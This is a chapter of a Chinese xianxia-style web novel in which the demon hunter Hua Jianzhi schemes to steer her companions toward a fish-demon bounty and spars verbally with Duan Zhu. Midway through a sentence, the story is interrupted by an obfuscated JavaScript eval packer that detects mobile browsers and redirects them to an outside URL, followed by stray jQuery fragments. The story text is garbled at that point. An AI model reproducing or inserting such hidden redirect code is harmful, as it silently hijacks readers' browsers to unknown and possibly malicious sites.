打好自己的算盘，花剑知在路上摘了些喂马的草，一路抱着，回到客栈的后院。天已经彻底沉了下去，在一片灰暗中，唯有撕裂空气的风在尖声呼号。受本能的驱使，花剑知猛地侧过身去，躲过飞向自己的鞭子。


    “不好意思，花小姐。”害人不成，段烛收回鞭子，语气中只有遗憾，不带丝毫歉意，“我在专心练习，没注意到你出现。”


    花剑知差不多已经习惯和段烛唇枪舌剑、相互算计的生活了，她也懒得骂他，语气淡然道：“段公子也不怕把我抽死了。”


    段烛微微一笑：“花小姐要是连我这一鞭都躲不过，怎么算得上合格的捉妖师？”


    “我看你挺闲的，帮我把马喂了。”花剑知走到段烛面前，不由分说把鲜草塞进段烛怀里，又抽走他手里的鞭子，耀武扬威般在他面晃前了两下，“这鞭子，先借我玩玩。”


    自己最重要的武器被人轻轻松松拿走，段烛却丝毫不生气。他瞥了一眼花剑知，当真就乖乖听话，转头去马厩里忙活了。


    一会要用鞭子抽死她，一会又听她指使安分干活。这人每天阴晴不定的，真不知道明瑕和宋长岁怎么受得了他的脾气。花剑知一边想，一边坐到一旁的石凳上，把玩段烛的武器。


    段烛在马厩里忙前忙后，声音也随着他的动作忽高忽低：“花小姐，可曾看出什么玄机？”


    花剑知撑着脸颊，随意答道：“没有。”


    鞭子的把手处有一个小巧的阵法，是用来引导灵力的——这在捉妖师使用的武器中相当常见。段烛的鞭子根本没有什么独到之处，花剑知失望地叹口气。


    “那是当然。”给四匹马分好食物，段烛从马厩里走出，来到花剑知身旁。他弯腰趴在石桌上，一只胳膊撑着下巴，另一只胳膊时不时拨弄一下花剑知手里的鞭子，竟然表现出了乖顺的模样，“难不成花小姐以为这是什么上古神器，还能和妖王决一死战不成？”


    知彼知己，百战不殆。武器是捉妖师生命的一部分，要想对付段烛，自然要了解他的鞭子。花剑知早就想研究一番，谁知今日却一无所获。她歪头想了想，索性直接挑明自己的心思：“你姥姥既然是段易虹，就没给你留下过什么法宝？”


    “悬崖山看重的是天分，而非血脉。段易虹是天才，和段烛没有关系。”提起段易虹，段烛的脸色忽然变了，他一把将鞭子夺走，重新别到腰上，“更何况，就算她真留下了什么，我还能告诉你吗？我又不蠢。”


    防备心过重的男人最没有意思。花剑知一撇嘴，向段烛做了个鬼脸。


    “天色不早了，花小姐赶快回去休息罢。”段烛没有花剑知那样任性，他指望她斩杀鹏鸟，可不想看她半路就倒下，“路上看你都快累死了，现在怎么又活蹦乱跳的？别忘了我们明天就要启程。”


    “谁说我累了？”提起自己的腿伤，花剑知有点恼，但她还有计划在身，绝不能乱了情绪，因而克制道，“至于启程的时间，我看也不好说。”


    段烛一听就知道花剑知又要搞什么阴谋，立马皱起眉：“什么意思？”


    “自己猜咯。”花剑知俏皮地眨眨眼，一转身，往客栈里跑去，冲明瑕大声喊道，“阿瑜！阿瑜！快来，我有急事要和你说。”


    花剑知要说的自然是鱼妖的问题。


    她把和老曹的交谈掐头去尾，又进行了二次创作，才将消息告知给众人。在她的版本中，老曹只是一个普通的客栈掌柜，和她闲谈的时候，偶然透露出了他最近听说的一件大事：炎南附近的瀑布里住了一只鱼妖，最近为非作歹，害死了不少人。当地官员开出高价，求人解决这个麻烦，然而几个月过去，捉妖师们不仅没能杀死鱼妖，还丢了自己的性命。如今炎南民心惶惶，整日因鱼妖担惊受怕，当官的束手无措，已然陷入了绝境。


    不等花剑知说完，段烛便质疑起她：“我们一路过来，只遇上过一些还未化形的小妖怪，怎么一到客栈，立马就出现了害人的妖怪？当地恰好解决不了，掌柜恰好知道，又恰好告诉了你？花小姐，要说谎，麻烦你开口前先捋好自己的逻辑。”


    “是老曹说的，有问题你问他，我只是把我知道的先告诉你们。”最终做决定的是明瑕，段烛的意见在队伍里无关紧要，花剑知才不怕他的质问，无理取闹似的一摊手，“现在需要商量的是，到底要不要处理这只妖怪？”


    这女人分明是在为自己的利益谋事，说得却好像为了大家一样！段烛不由抬高音量，和她拌嘴：“我们的时间本来就不多！在路上耽搁一日，那鹏鸟就有一日逃走的可能。说不定它现在已经飞走，去害人，去筹备大阴谋了！鹏鸟对人间的危害是其他妖怪不能比的，难道要舍本逐末，放任鹏鸟在外壮大势力？”


    听了段烛的话，保持沉默的明瑕抬起双眼。


    “段公子，不要激动。”花剑知笑嘻嘻地安抚他，“所以我们现在还在商量，并没有决定——两害相权取其轻嘛。阿瑜，宋公子，你们怎么想？是直接走，还是……”


    段烛仍要和她争：“今日管一只妖怪，明日再管一只妖怪，照这么下去，我们永远到不了百川！”


    “那就去追鹏鸟，”花剑知卷着碎发，漫不经心道，“至于炎南百姓的生活，和我们没关系。”


    “不。”


    明瑕坚定地驳回了段烛的决定。


    她双手拍在桌子上，站起身，神色肃穆地扫过自己的同伴，义正词严道：“我们悬崖山的原则，是为民除妖，而非为钱除妖。如今眼前就有妖怪作乱，又怎能坐视不理？”


    可这完全是着了花剑知的道！


    段烛大叹一口气，头痛地捂住额头。


    “师兄，我知道你有自己的观点，可是，”段烛刚想说话，明瑕连忙打断了他，“可是若我们违背本心，就不配做悬崖山的后人。无论鱼妖的传言是不是真的，我们都得亲自去确认。我们必须确保自己途经的地方，不会有人再因妖怪而死——这是下山前师母对我们做的唯一要求，不是吗？”


    明瑕！


    花剑知嘴角的弧度越来越大，她真的是太喜欢、太喜欢明瑕了！


    不管她设下的陷阱多么蹩脚，正义又天真的明瑕都会毫不犹豫地跳下去——这能帮花剑知扫平无数麻烦！她恨不得当着三人的面捧腹大笑，嘲笑明瑕的可怜与可悲！


    “那太好了，我们明天就动身吧！”花剑知双手合十，轻轻击掌，“老曹说那个瀑布距离我们只有一天的路程，咱们速战速决，很快就能重新上路。”


    宋长岁没有主意，只听明瑕安排；花剑知又是阴谋的策划人；段烛没有帮手，孤立无援，只能冷声呵斥一句：“真是胡闹。”


    “我有一个想法。”一直被众人忽视的宋长岁突然开口，“我们去杀鱼妖，但是放弃悬赏，怎么样？”


    宋长岁的提议如当头棒喝，花剑知的笑脸马上消失了：“放弃？不进城吗？”


    “不错。”宋长岁点点头，“杀完妖怪，我们立刻走人，省得和官家那些繁文缛节打交道。这样，既能除妖，又能节省时间，两全其美。”


    “可以！”这个主意堪称完美，段烛瞬间来了精神，赶紧表达自己的意见，“我同意这个决定。”


    花剑知的笑容忽扬忽落，半晌过去，她才控制好自己的表情：“不进城，就拿不到奖赏。你们身上的盘缠还够用吗？”


    他们这一路的吃住费用是自负盈亏，各付各的钱。虽说临行前，花朝露给了四人一些路费，但为了赶路轻便，那路费也不算多——至少对花剑知来说不算多。


    当然，花剑知不需要担心钱的问题，就算她花光了，也自有地方上的官员屁颠颠来给她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963102|161137||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上贡。但另三位就得仔细考虑收支问题了，凡事都要节省着来。


    “撑到下一个地方，肯定是够的。”段烛笑道，“再说，就算我们没钱了，花小姐不还可以替我们应付吗？您人美心善，恐怕不会忍心让我们在桥底下打地铺吧？”


    提到钱的时候开始对她美言了！


    世界上竟然有段烛这等厚脸皮的人，花剑知真要被气笑了：“我出发时就打算承包路上的费用，那时候各位拒绝了。现在，我就当大家又给了我一个机会吧。我们的行程就按宋公子的来，直接杀，不进城。”


    没想到花剑知答应得这么爽快，甚至连一句反驳的话都没说，段烛惊讶地抬眉。


    “那我今晚就布下阵法，追踪鱼妖的具体位置。”说罢，宋长岁站起身，“我先去做准备。”


    明瑕也紧跟着离开：“我去和老曹说一下，把我们的房间多留一晚。”


    两人不愿待在花剑知和段烛焦灼的氛围里，一溜烟消失了。


    他们一走，段烛马上打开天窗说亮话。搅乱了花剑知的计划，他的笑容得意：“都说本性能改，花小姐才离家几天，又想捡起猎妖的老本行了——可惜啊，被我们反将一军，计划破灭了。”


    计划的确被打乱了，但花剑知不着急。


    她既然能说服他们去杀鱼妖，就能想办法说服他们进城。


    反倒是段烛，被她看穿了一些事情。


    “段公子如果想让明瑕不相信我，直接说我是猎妖师不就行了？”


    她边说边来到段烛身边，在他耳侧低声道：“你们十几年的师兄妹，照理来说，应是无话不谈、亲密无间的。可实际上，你却向她隐瞒了重大的消息，不愿和她说实话。”


    “——其实你根本没有把她当亲人，而是在心里偷偷算计她。对不对？”


    她微笑着，用眼角的余光打量他的反应。


    如她预料中的，她的话音刚落，段烛的杀气便在瞬间布满全身，那双怒火中烧的眼睛，仿佛要将她烧成灰烬。


    段烛用力将花剑知推开，拉远两人之间的距离。他皮笑肉不笑，好像底线终于被踏破了一般：“花小姐慎言！不要以为你是皇帝器重的人，就能……”


    “就能怎样？”花剑知挑衅道。


    人终究是利益动物，不能让情绪压倒理智。段烛是悬崖山的人，和明瑕一样，他铭记师母教诲，要为民除妖。可他没有杀死鹏鸟的力量，只能向花剑知寻求帮助。因此，不管花剑知多么猖狂、多么狠毒，他都不可能，也没有实力对她下死手。


    本质上讲，他们之间并不存在明争暗斗，是花剑知不想和他计较，放任他冒犯自己而已。


    “你们需要我，不是吗？”她重新靠到段烛面前，两只胳膊轻轻压在他的肩上，温热的鼻息在两人的脸庞间流转，明媚的笑脸在段烛眼中绽开，“其实你很清楚，要是我想让你们死，在江安的时候，你们早就死了。”


    花剑知承认，“悬崖山”这个名号，一开始的确吓到了她。


    但几天下来，她已经发现，这三个人并没有什么寻常之处，论实力，他们不如自己；论阴谋诡计，他们更斗不过自己。


    悬崖山已不复往昔，根本没什么好怕的。


    “我们从一开始就不是平等的。你们愿意和我上路，是因为想除掉鹏鸟，你们只能依靠我。而我愿意带你们上路，一是为了路上解闷，二是为了找人兜底，三是因为……”花剑知的手指划过段烛纤细的睫毛、细腻的脸和乌黑的鬓发，“你长得好看，虽然性格古怪，但也挺有意思，我喜欢你。”


    终于，花剑知说出了从她第一次看见段烛时，就想说的话：“不如放弃捉妖师这一行，来给我当面首吧？钱不缺你的，房子给你准备最好的，进了我花家的家门，你想做什么就做什么，怎么样？”